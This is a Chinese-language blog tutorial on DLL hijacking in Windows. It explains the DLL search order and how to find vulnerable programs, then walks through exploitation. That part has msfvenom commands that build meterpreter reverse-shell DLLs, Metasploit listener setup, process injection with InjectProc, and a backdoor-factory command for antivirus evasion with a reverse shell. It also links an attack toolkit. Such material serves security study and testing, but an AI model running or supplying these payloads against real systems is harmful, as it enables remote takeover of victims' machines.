zoukankan      html  css  js  c++  java
  • Dll劫持漏洞详解

     

    一、dll的定义

    DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

    如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”

    二、dll的原理利用

    2.1 Windows XP SP2之前

    Windows查找DLL的目录以及对应的顺序:

    1. 进程对应的应用程序所在目录;
    2. 当前目录(Current Directory);
    3. 系统目录(通过 GetSystemDirectory 获取);
    4. 16位系统目录;
    5. Windows目录(通过 GetWindowsDirectory 获取);
    6. PATH环境变量中的各个目录;

    例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

    2.2在winxdows xp sp2之后

    Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

    默认注册表为:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为1

    1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
    2. 系统目录(即%windir%system32);
    3. 16位系统目录(即%windir%system);
    4. Windows目录(即%windir%);
    5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
    6. PATH环境变量中的各个目录;

    2.3 windows7以上

    系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:

    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

    那么最终Windows203以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

    三、DLL漏洞检查

    3.1使用Process Explorer检查

    这里主要找到应用程序dll_hijack_test.exe加载的dll主要调用了dll_hijack_test_dll.dll,而这个dll在KnownDLLs没有,所以存在DLL劫持,建议使用手工查找。

     

    3.2使用DLL Hijacking Auditor(DLL劫持审计器)

    http://securityxploded.com/getsoftware_direct.php?id=7777,此工具只能运行在32位上,貌似误报有点多。

    3.3使用自动化rattler dll检查工具

    下载地址:https://github.com/sensepost/rattler/releases

    3.4 检查步骤方法

    1.启动应用程序

    2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。

    3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。

    4.通过msf生成劫持的dll漏洞名,或者用K8dllhijack.dll改成劫持的dll名来测试是否存在劫持。

    5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功

    3.4 InjectProc实现自动注入dll

    1. InjectProc.exe dll_inj  mbox.dll  notepad.exe  #这里的DLL是可以是msf生成的dll或者远控生成的dll,notepad.exe就是进程里面打开的应用程序名

     

    3.5 DLL存在劫持漏洞搜索库

    DLL劫持漏洞翻译成英文叫做 DLL Hijacking Vulnerability,CWE将其归类为 Untrusted Search Path Vulnerability。如果想要去CVE数据库中搜索DLL劫持漏洞案例,搜索这两个关键词即可。

    Corelan博客-提供了存在漏洞(DLL劫持)的应用程序列表(非官方):

    http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/

    exploit-db网站-提供了存在漏洞(DLL劫持)的应用程序列表:

    http://www.exploit-db.com/dll-hijacking-vulnerable-applications/

    四、DLL劫持漏洞利用场景

    4.1 针对应用程序安装目录的DLL劫持

    前提条件需要是管理员权限,一般程序运行的进程对应的目录在默认的%ProgramFiles% 或者是 %ProgramFiles(x86)%下

    4.2 针对文件关联的DLL劫持

    就是当打开某个文件类型时,会在进程中加载某个应用程序,那么应用程序会关联某个DLL加载,而这时候如何关联的dll不存在,那么最终会在当前目录下查找到关联的dll,这个DLL就是我们恶意的dll.

    4.3 针对安装程序的DLL劫持

    主要是应用程序安装包,放一个恶意的dll到当期安装包目录下就会被劫持

    4.4 msf下dll的劫持利用

    1.在kali下使用Msfvenom创建恶意DLL文件

    x86:
    
    msfvenom  -p  windows/meterpreter/reverse_tcp  lhost=192.168.1.101  lport=4444   -f  dll>存在劫持dll名.dll
    
    x64:
    
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.110  lport=4444  -f dll >存在劫持dll名.dll

    2.msf开启反弹shell监听:

    use exploit/multi/handler
    
    set payload windows/meterpreter/reverse_tcp(x86)
    
    set payload windows/x64/meterpreter/reverse_tcp(x64)
    
    set lhost  192.168.1.110
    
    set lport 555
    
    exploit

     

    将生产劫持的dll拷贝到存在劫持漏洞的应用程序目录下,然后执行应用程序。这里我将用InjectProc来执行DLL劫持。

    injectPro.exe dll_inj  MSF生成的dll  劫持的程序名

     

    然后只要运行记事本,就会反弹msf:

     

    需要用到的工具:(包括用到的利用工具和测试文件)

    https://raw.githubusercontent.com/backlion/demo/master/dll.zip

    另附上: dll劫持生产工具backdoor-factory免杀和msf的结合

    backdoor-factory -f /opt/劫持名.dll   -s   reverse_shell_tcp_inline    -P 192.168.1.110    -H   555

    use exploit/multi/handler
    
    set payload windows/shell_reverse_tcp
    
    set lhost  192.168.1.110
    
    set lport 555
    
    exploit

     

  • 相关阅读:
    Hadoop 学习笔记 (十) hadoop2.2.0 生产环境部署 HDFS HA Federation 含Yarn部署
    hadoop 2.x 安装包目录结构分析
    词聚类
    Hadoop 学习笔记 (十一) MapReduce 求平均成绩
    Hadoop 学习笔记 (十) MapReduce实现排序 全局变量
    Hadoop 学习笔记 (九) hadoop2.2.0 生产环境部署 HDFS HA部署方法
    Visual Studio Code 快捷键大全(Windows)
    Eclipse安装教程 ——史上最详细安装Java &Python教程说明
    jquery操作select(取值,设置选中)
    $.ajax 中的contentType
  • 原文地址:https://www.cnblogs.com/backlion/p/7472021.html
Copyright © 2011-2022 走看看